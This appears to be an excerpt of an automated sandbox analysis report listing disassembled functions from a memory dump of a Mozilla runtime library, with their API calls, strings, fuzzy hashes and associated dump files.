memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CD0EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CD11695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD116B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CD11770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CD11A3E

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: de54da0da06c55aecd098d743558687d96a5c4b8c833af0d6dd840c667d6f3da
Instruction ID: 392efa629b2f63bee3a180006a60613e88a19b3eca1abadb17e8cc4084fb39c9
Opcode Fuzzy Hash: de54da0da06c55aecd098d743558687d96a5c4b8c833af0d6dd840c667d6f3da
Instruction Fuzzy Hash: 18B32971E04219CFCB14CFA8D890A9DB7B2FF49304F2582A9D459ABB55D730AD86CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD6E7B8), ref: 6CCFFF81
LeaveCriticalSection.KERNEL32(6CD6E7B8), ref: 6CD0022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CD00240
EnterCriticalSection.KERNEL32(6CD6E768), ref: 6CD0025B
LeaveCriticalSection.KERNEL32(6CD6E768), ref: 6CD0027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CCFFE99, 6CCFFEB7, 6CCFFED3, 6CD00DB8, 6CD00DD3, 6CD019B4, 6CD01A10
MOZ_CRASH(), xrefs: 6CD00CA7

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: bc468d93dbfbb5e92e915fe4f19526d11d1ab8a5d559c408cd08cd1fa7b39f00
Instruction ID: 0fae65e2e6d33cb20512b6d6fe1725a6e3ca82380a193035946bec20835ff47a
Opcode Fuzzy Hash: bc468d93dbfbb5e92e915fe4f19526d11d1ab8a5d559c408cd08cd1fa7b39f00
Instruction Fuzzy Hash: F4B27871B05741CBD714CF2DC590716BBE1AF85328F28C66CE9AA8BBA5D770E840CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD35600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

schema, xrefs: 6CD3606D
expected a Count entry, xrefs: 6CD35AC3
data, xrefs: 6CD36131
ProfileBuffer parse error: %s, xrefs: 6CD35AC8, 6CD35CBB
name, xrefs: 6CD35E79, 6CD35E8F
expected a Time entry, xrefs: 6CD35CB6

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: f6414805055a45d49c6acff432bb2f1902422f2c6dfd18126d87a931ffb27b32
Instruction ID: 5dc7543e16c42b8480c3aa132a5c0f7c45a0984d0037b9d76ae3698699c51085
Opcode Fuzzy Hash: f6414805055a45d49c6acff432bb2f1902422f2c6dfd18126d87a931ffb27b32
Instruction Fuzzy Hash: 35923BB1A08351CFD724CF14C49075ABBE1BFCA308F54891DE59A9B761EB30E949CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD32E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CD32ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD32EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CD32F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD33214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD33242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD336BF

Strings

get , xrefs: 6CD33205
set , xrefs: 6CD336EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CD3378D

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 68685012524a5e94b5aabcba2c97906623117681b300e38b465a8ee45d235ced
Instruction ID: 8573897f15c284754119d9bcc95c5eeeb7dbe7bbdc03be9cf35f81766e074017
Opcode Fuzzy Hash: 68685012524a5e94b5aabcba2c97906623117681b300e38b465a8ee45d235ced
Instruction Fuzzy Hash: 95327DB06083818FD324CF24C5906AEBBE2AFCA318F54991DE5D987761DB34D94ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 6CD27E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6CD281E3, 6CD28311
(pre-xul), xrefs: 6CD27E88
data, xrefs: 6CD28280, 6CD283E1
name, xrefs: 6CD27ECF, 6CD28335

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 90f867e8e60b38a07283df747f22f97cbe49c24bf4f6d2847b6e37c5bfb6d6ae
Instruction ID: 69d157fd2bee87a70757b88c94feaf9e8befcd05bc2f7810ee61b8abad4892ef
Opcode Fuzzy Hash: 90f867e8e60b38a07283df747f22f97cbe49c24bf4f6d2847b6e37c5bfb6d6ae
Instruction Fuzzy Hash: F4E17FB1A043408FCB10CF69C84065BFBE9BF85318F55892DE895D77A0EBB4DD498B92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D4F2
LeaveCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D50B

Part of subcall function 6CCECFE0: EnterCriticalSection.KERNEL32(6CD6E784), ref: 6CCECFF6
Part of subcall function 6CCECFE0: LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D52E
EnterCriticalSection.KERNEL32(6CD6E7DC), ref: 6CD0D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD0D6A6
LeaveCriticalSection.KERNEL32(6CD6E7DC), ref: 6CD0D712
LeaveCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD0D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CD0D82C
<jemalloc>, xrefs: 6CD0D827

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 9546db24cda8515f9fd8e14c5ca20d6629bee34ce3cee90cc55807c3c2efc912
Instruction ID: 49fef586e11ab6b3c3cd3f96c7ed3f4fa2e2626d5c38f4de518955e268d84796
Opcode Fuzzy Hash: 9546db24cda8515f9fd8e14c5ca20d6629bee34ce3cee90cc55807c3c2efc912
Instruction Fuzzy Hash: C491AD71B047058FE714DF2DC59072AB7E5EB8A314F14892EE59A87FA1E730E844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD05E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2
memset.VCRUNTIME140(6CD47765,000000E5,D6C09015), ref: 6CD061F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CD07652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CD0730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CD072E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CD07BCD, 6CD07C1F, 6CD07C34, 6CD080FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CD072F8
MOZ_CRASH(), xrefs: 6CD07BA4

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 8205a40bb5925613603d59969d002c9694a7bb12cbb137aefbc6865bea6c2d0a
Instruction ID: 4fc0be7110f4333c5dbae2aea9419d06f0ef63351cb4e86b95bc077e66b7bcb8
Opcode Fuzzy Hash: 8205a40bb5925613603d59969d002c9694a7bb12cbb137aefbc6865bea6c2d0a
Instruction Fuzzy Hash: 6A335971705601CFD304CF2DC590619BBE2BF85328B2AC6ADE9698F7A5D771E882CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6CD44EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CD44EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD44F2E
moz_xmalloc.MOZGLUE ref: 6CD44F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CD44F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD452B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD452E6
Sleep.KERNEL32(00000010), ref: 6CD45481
free.MOZGLUE(?), ref: 6CD45498

Strings

(, xrefs: 6CD45250

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 58e65dcc5973b3d442484956f4b99d98b1924172f5ea6c8211dcb807a346950f
Instruction ID: 655a31ea245d1985e05e74b203c8a736a34be5446bade17094b71e55272febbe
Opcode Fuzzy Hash: 58e65dcc5973b3d442484956f4b99d98b1924172f5ea6c8211dcb807a346950f
Instruction Fuzzy Hash: 5AF1D171A18B008FD716CF39C85062BB7FAAFD6384F05872EF946A7650EB319841CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD09E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CD09EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CD09F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CD09F34
LeaveCriticalSection.KERNEL32(?), ref: 6CD0A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD0A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD0A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CD0A8B1, 6CD0A8D4, 6CD0A8EF

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 33075a449946dc5e2e96412480c6468391e08e34b433f08933b3ee8fab4bbda3
Instruction ID: c98f8711dd31509316e30519673492c1deaec00278e74734a3abf4807b2ce429
Opcode Fuzzy Hash: 33075a449946dc5e2e96412480c6468391e08e34b433f08933b3ee8fab4bbda3
Instruction Fuzzy Hash: D67249B2A15611CFD304CF2DC540615FBE1BF89328F2AC66DE8A99B7A1D375E841CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CD32C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CD32C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CD32C61

Part of subcall function 6CCE4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CCE4E5A
Part of subcall function 6CCE4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CCE4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD32C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CD32E2D

Part of subcall function 6CCF81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CCF81DE

Strings

(root), xrefs: 6CD3354F
ProfileBuffer parse error: %s, xrefs: 6CD32E3B
expected a Time entry, xrefs: 6CD32E36

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: c4e1d7820b4994e1a538b5dad67e518464e29f66b2c569f5eb27221acf0cb2f9
Instruction ID: 9ed1fa5af965f696985088cb514503f9f53f26db1ca484c48e398867c515f8be
Opcode Fuzzy Hash: c4e1d7820b4994e1a538b5dad67e518464e29f66b2c569f5eb27221acf0cb2f9
Instruction Fuzzy Hash: A791E3B0A087408FD714DF28D48469FF7E0AFCA358F10591DE59A87761EB30D549CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CCED4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6CCED7DD
@, xrefs: 6CCEDAF6
0, xrefs: 6CCEDC7F
1, xrefs: 6CCEDBDD
8, xrefs: 6CCEDC08
9, xrefs: 6CCEDE7F
0, xrefs: 6CCED852
, xrefs: 6CCEDA88

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: d080391af7fcdec84f349e0bb187b7e654508ea53bcd84da4785e8c6fe41b8fd
Instruction ID: 69783a2091654876f6e5e820ed753064b2cc316b1c080f0f4e1bab1adf199a77
Opcode Fuzzy Hash: d080391af7fcdec84f349e0bb187b7e654508ea53bcd84da4785e8c6fe41b8fd
Instruction Fuzzy Hash: C762CB7160D3818FD711CF29C49036ABBE2AFCB358F184A4DE4E54BA91E3359985CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CCEC1CB
__aulldiv.LIBCMT ref: 6CCEC24C
__aulldiv.LIBCMT ref: 6CCEC348
__aullrem.LIBCMT ref: 6CCEC365
__aulldiv.LIBCMT ref: 6CCEC37D

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 2cebaedb484c70a188821eb52c692e0a9214679e0f142bd851be08a105b5fc83
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: FE321532B146118FC718DE2CC891A56BBE6AFCA310F09867DE895CB395E734ED05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CD58A4B

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 48a02bdea9ace6aaa41545c9508b98a223320d87c91bd6389882013b1a96f274
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 3CB1E872E0121ACFDF14CF68CC907A9B7B2EF85314F5402A9C589DB7A5E7309996CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CD588F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CD5925C

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: d1937fc694b30666c1407d4514d65adb38fa9f1d128ab83e303ef04809dff7f4
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: F5B1C572E4120ACFDF14CF58CC816ADB7B2EF85314F540269C949DB795D730A99ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD26CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CD26D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD26E1E

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba80bd1af26f218d4a3bd1b5613598a4ee36644c5acaba721a1c099c88222f8b
Instruction ID: 7999d793bf09942075dcfb875459b0dde19ea753480ce0bf3f6d79be2c4fc6dc
Opcode Fuzzy Hash: ba80bd1af26f218d4a3bd1b5613598a4ee36644c5acaba721a1c099c88222f8b
Instruction Fuzzy Hash: E7A18F70618380DFDB25CF24C4847AEBBE1BF89308F45495DE98A87761DB74E849CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD04640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CD04777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CD05585, 6CD055A8, 6CD055C3, 6CD05624

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: AllocVirtual
